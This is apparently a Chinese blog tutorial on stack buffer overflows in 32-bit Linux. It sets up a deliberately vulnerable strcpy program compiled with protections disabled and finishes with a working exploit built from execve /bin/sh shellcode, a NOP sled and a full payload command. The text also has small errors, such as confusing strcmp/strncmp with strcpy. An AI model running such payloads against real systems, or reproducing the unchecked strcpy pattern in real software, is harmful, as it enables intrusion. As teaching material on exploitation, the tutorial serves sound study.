一开始是对微软在 Visual Studio 中半强制要求使用 strncmp 代替 strcmp 的原因感兴趣,后来了解到是因为 strncmpstrcmp 函数中可能出现的溢出做了预防。于是又开始对 buffer overflow 很感兴趣,自己去看了很多相关的文章,发现这个溢出漏洞不仅需要有编程的知识,还要对计算机的组成原理有一定的了解。最后把这个漏洞搞懂后还是很舒服的。

计算机内存结构

上图是 linux x86 系列的内存结构,最下面是地址 0x00000000,最上面是 0xffffffff。最下面的是文本代码段( text ),存储着程序的汇编代码,这片区域是只读的。 data 存放的是未赋值和赋值过的静态变量。往上的 heap 是程序中动态申请的大内存变量,像是 imagesfiles 这些。再往上的 stack存储的是每一个函数( function )的本地变量,当一个新函数被调用的时候,这些数据将会被 push 到栈的顶部。在内存的最上面是kernel,这段内存是为系统内核保留的。可以看到,heap 是向上生长的,stack 是向下生长的。

我们的 buffer overflow 主要就是在 stack 区域发生。

函数是如何被调用的

既然 stack 区域是向下生长的,那么每 push 一个新东西到 stack 的尾部,整个 stack 区域就越接近内部低地址位。

当一个函数被调用的时候,传给这个函数的参数和一些这个函数申请的变量会被 pushstack 的顶部,然后会有一个指针来一个一个的读取这些参数,最后指针会读取到一个地址,告诉计算机需要用到这些参数的函数位置在哪里。有了函数的地址,指针就会带着这些参数跳转到函数所在的位置来执行函数操作。

示例程序

我们来看一个用 C 写的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>

void func(char *name)
{
    char buf[100];
    strcpy(buf, name);
    printf("Welcome %s\n", buf);
}

int main(int argc, char *argv[])
{
   func(argv[1]);
   return 0;
}

这个代码在 main 里调用了 func 函数,传给它一个未知长度的参数 argv[1]。注意 argv[0] 保存了程序名 。func 函数申请了一个大小为 100 的字符数组 buf ,然后把传进来的 name 复制到了 buf 中。最后函数在标准输出中打印了一个 欢迎信息。

在运行这段程序的时候,main 函数的参数 argc,和 argv 作为整个程序的参数,会被保留在 kernel 内存区域内。

在调用 func 后, argv[1]会作为 name-parameterpushstack 的顶部,当一个函数具有多个参数的时候,向 stackpush 的顺序是逆序的,比如说我调用一个函数 foo(1, 2),那么参数 2 会被第一个 push,接着才 push 第一个参数 1

将传入的参数 push 完后,应该在内存里有一个地方保存一个地址,代表当这段函数运行完成后代码返回到哪里。这个地方就是 name-parameter 的上面。也就是说,我们 push 完函数传入的参数后,就会接着 push 一个函数的返回地址( return address ),这个地址是当前函数运行完成后返回的地方。例如在这个例子中,我们把 func 函数运行完后要返回运行 return 0 命令,所以 返回地址就是 return 0 命令在内存中的位置。

接着,EBP (extended base pointer) 会被 pushstack 的顶部,这个指针叫做 栈底指针,顾名思义就是说明当前位置是栈底的执针。关于这个指针的详情我们不会在这篇文章中做介绍。

最后,在 stack 中会被申请一个大小为 100 bytes 的缓存,func 函数中会把 name 变量使用 strcmp 复制到这段缓存中。

最后这段缓存的内容会与一段字符串组合一起输出。

整个操作完成后,我们的 stack 被操作成为了下图这个样子。最上面是传入的参数,接着是返回地址,接着是 EBP100-bytes 大小的缓存。

运行示例程序

目前已经有很多的方法可以加大人为造成缓冲区溢出的难度,其中就包括了编译器的优化。为了简单和明了,我们将在编译时我们使用如下的命令来编译示例程序:

1
gcc -g -o buf buf.c -m32 -no-pie -z execstack

-m32 的意思是生成 32 位的程序, -no-pie 的意思是关闭 PIE(ASLR) 保护, -z execstack 的意思是关闭不可执行保护。

注意如果提示找不到 bits/libc-header-start.h 的话说明环境没有完善,可以通过获取 gcc-multilib 修复:

1
apt-get install gcc-multilib

编译完成后我们来运行它。例如我们输入 soptq ,那么程序的输出大概是这样的:

可以看到,程序的输出却是是吧我们的输入与一个 Welcome 组合了起来。

寻找 stack 的大小

使用源代码寻找

我们使用 gdb ./buf 来调试编译生成的 buf 程序。因为我们在编译时给 gcc 传入了调试的命令,所以 gcc 在编译的时候将调试信息也一起编译进最终程序了,所以我们在 gdb 中可以使用 list 来看到程序的源代码。在一般情况下,我们拿到一个陌生的程序是没有办法通过 list 命令看到源代码的。

使用汇编寻找

我们可以使用 disas func 来显示 func 函数的汇编代码。

我们在这里不详细的讲解汇编语言,我们主要关注第 4 行。汇编语言告诉我们这里程序申请了一个 0x74 大小的空间,即 116 位空间。这跟我们预先设置的 100 位空间不太一致,我猜测是因为某种安全属性没有被关掉,编译器自动优化出现的。我们以汇编代码为准。

使用字符串模版寻找

除了通过汇编代码查看 stack 的大小,我们还可以通过 peda-gdb 自带的字符串模版来判断。字符串模版指的是一段长度为 m 字符串,往其中任意取 2 个长度为 n 的子字符串,这两个字符串是绝对不同的。所以我们可以通过产生溢出后 gdb 提供的 EIP 错误信息,找到 stack 的长度。具体操作过程是这样的。

首先在 peda-gdb 中使用 pattern create size 来生成一个字符串模版。这里我们通过前面两种查看 stack 大小的方法可以估计 size 最大为 120 ,所以我们生成一个长度为 120 的字符串模版:

1
pattern create 120

然后我们把这段字符串输入到程序中:

1
run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'

然后程序就会报错。这里报的错是 Segmentation faultSegmentation fault 是当一段程序尝试访问一段不该被访问的内存地址时,CPU 会报出的错。EIP 寄存器是用来存储 CPU 要读取的指令的地址的,在这个时候我们可以从 gdb 的错误信息种发现 EIP 指向 0x41384141,而此时 EIP 本来应该指向 return 0 的地址,因为 func 函数已经运行完成了,应该返回了。之所以此时 EIP 指向 0x41384141 ,是因为我们传入的参数把 EIP 给覆盖了,使 EIP 指向了一个根本不存在,或者就算存在也不属于这段程序的地址,所以 CPU 就报错了。

我们把这个 EIP 中的参数填入 pattern offset value 种的 value ,即可得到栈顶到 return address 的大小。

1
pattern offset 0x41384141

构造缓冲区溢出

注意,虽然 stack 是向下生长的,即从内存的高地址区到低地址区,但是,缓冲区在被填充的时候却是向上生长的,即从高地址区向低地址区。这意味着加入我们向 func 函数传入了一个大于 100 位的 name 参数,在复制 namebuf 的过程中就会先把只有 100 位的 buf 区域填充完,然后开始填充 buf 后面的区域,即 EBPreturn address 以及参数区。

由于我们通过上一步可以得到栈顶到 return address 的大小为 112 位,所以我们试验一下假如向 func 传入一个 116 位的参数会发生什么。这 116 位参数由 108 个 A ,4 个 B ,4 个 C 组成。我们预先猜想 108 位 A 将会把 buf 区域填满,然后 4 个 B 将把 EBP 填满, 4 个 C 会把 return address 填满,这是因为 32 位系统中一个指针占 4 个字节。

1
2
3
4
run $(python -c 'print "\x41" * 108 + "\x42" * 4 + "\x43" * 4') 
# \x41 == 'A'
# \x42 == 'B'
# \x43 == 'C'

如我们所愿, Segmentation faultEBP 中为 0x42424242EIP 中为 0x43434343

此时的 stack (栈)

关于 gdb 查看内存的命令:

x/<n/f/u> <addr>

n 是一个正整数,表示显示内存的长度,也就是说从当前地址向后显示几个内存地址的内容。

f 标示现实的格式

参数 f 的可选值:

x 按十六进制格式显示变量。

d 按十进制格式显示变量。

u 按十六进制格式显示无符号整型。

o 按八进制格式显示变量。

t 按二进制格式显示变量。

a 按十六进制格式显示变量。

c 按字符格式显示变量。

f 按浮点数格式显示变量。

u 表示将多少个字节作为一个值提取出来,如果不指定的话,gdb 默认是 4 个 bytes。当我们指定了字节长度后,gdb 会从内存定的地址开始,读取制定字节,并把它当作一个值提取出来。

参数 u 的可选值:

b 表示单字节

H 表示双字节

W 表示四字节

G 表示八字节

我们在 gdb 中使用 x/100x $sp-100 来查看从当前堆栈地址前 100 个内存长度位置开始的 100 个内存长度的内存内容。

注意使用 gdb 打印内存的时候,高地址位在下面,低地址位在上面。

此时的 register (寄存器)

我们可以使用 info register 来查看当前的寄存器状态。

可以看到的确 EBPreturn address 被覆写了。前面说了 EIP 指向的是 CPU 将要执行的下一条命令地址,在这里被覆写为 0x43434343。那么试想,如果这里的 EIP 指向一个恶意程序的地址,那么我们是不是就可以让程序以它的权限执行这段恶意程序了呢?

Exploit the code

既然我们发现我们可以覆写一段程序的 return address ,那么我们现在的目标就是编写一段特定的程序,让缓冲区溢出后程序可以做到一些对攻击者有益的事情,比如说建立一个 shell

Shellcode

shellcode 是一段用来作为漏洞爆破点的程序,它被叫做 shellcode 的原因是因为它被执行后可以创建一个让攻击者操作目标机器的 shellshellcode 的创建也不是很简单的事情,它高度要求操作系统的 CPU 类型,通常直接由汇编代码写成。如果对创建 shellcode 有兴趣可以去阅读相关的文章,在这篇文章中,我们使用从网上找到的一段 shellcode 。实际上,很多 shellcode 都可以从网上获得,比如 Exploit Database Shellcodes

1
2
3
4
5
6
7
8
9
10
11
12
xor     eax, eax    ; Clearing eax register
push    eax         ; Pushing NULL bytes
push    0x68732f2f  ; Pushing //sh
push    0x6e69622f  ; Pushing /bin
mov     ebx, esp    ; ebx now has address of /bin//sh
push    eax         ; Pushing NULL byte
mov     edx, esp    ; edx now has address of NULL byte
push    ebx         ; Pushing address of /bin//sh
mov     ecx, esp    ; ecx now has address of address
                    ; of /bin//sh byte
mov     al, 11      ; syscall number of execve is 11
int     0x80        ; Make the system call

我们新建一个 shellcode.asm 文件并插入上面的示例 shellcode。这段汇编代码使用的是 nasm。我们接着来编译它:

1
nasm -f elf shellcode.asm

这一步生成了一个 shellcode.o 文件,这个文件是 Excutable and Linkable Format ( ELF ) 格式的。

然后我们可以使用 objdump 来解读这个文件,得到 shellcode 的字节码。

1
objdump -d -M intel shellcode.o

我们把第二列的十六进制码提取出来,就得到我们可以用,大小为 25 字节的 shellcode:

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

放置 Shellcode

我们的目标是传入一个参数,这个参数中有我们刚刚得到的 shellcode,然后最后把 return address 给覆写位 shellcode 的位置,让 func 程序执行完后就返回到 shellcode 执行它。

Linux 系统中,内存地址每次也许会左右变动一点,所以我们并不能真正确定 shellcode 的位置,NOP-sled 是一种解决方案。

NOP-sled

NOP-sled 是一组 NOP(no-operation) 命令,它的作用是当 CPU 读取到NOP 指令时,它告诉 CPU:去执行下一条命令。所以如果我们在 shellcode 前面全部加上 NOP ,那么只要 return address 落在了其中的一个 NOP 上,它就会让 CPU 去执行下一条命令,而下一条命令又让 CPU 去执行下下一条命令。就这样让 CPU 像做梭梭板一样一直往下执行,直到执行到 shellcodeNOP 的值也许会随着 CPU 的型号的变化而变化,但在这个例子中我们的 NOP 值为 \x90

我们一共要传入一个 116 位的参数,shellcode 占了 25 位,我们还剩 91 位,除去 20 位 return address ,我们还剩 71 位,所以我们的参数构成如下:

参数: [ NOP * 71 ][ SHELLCODE ][ 5 x 'EEEE' ]

四位的 E 我们会在后面替换为内存地址。

参数传入 stack 后大概是这样的。

Executing

我们使用上面构造的参数来运行一下程序。

1
run $(python -c 'print "\x90" * 71 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x45\x45\x45\x45" * 5')

填充地址

我们使用 x/100x $sp-100 查看当前内存

我们选取一个全部是 \x90 的内存,在这里我选择 0xffffd1e0 。我们把这个地址填入之前的 EEEE。注意 return address 的读取顺序与内存地址的读取顺序是不同的,是相反的。

我们在这里选择的是地址 0xffffd1e0 那么在填充 return address 的时候要填充 0xe0d1ffff

获取 Shell

综合上面,我们可以完整的组合得到我们需要的参数。我们把这段参数传入程序:

1
run $(python -c 'print "\x90" * 71 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xe0\xd1\xff\xff" * 5')

可以看到我们成功利用缓冲区溢出漏洞以 root 权限运行了 whoami 命令。

参考

https://www.coengoedegebure.com/buffer-overflow-attacks-explained/



发现存在错别字或者事实错误?请麻烦您点击 这里 汇报。谢谢您!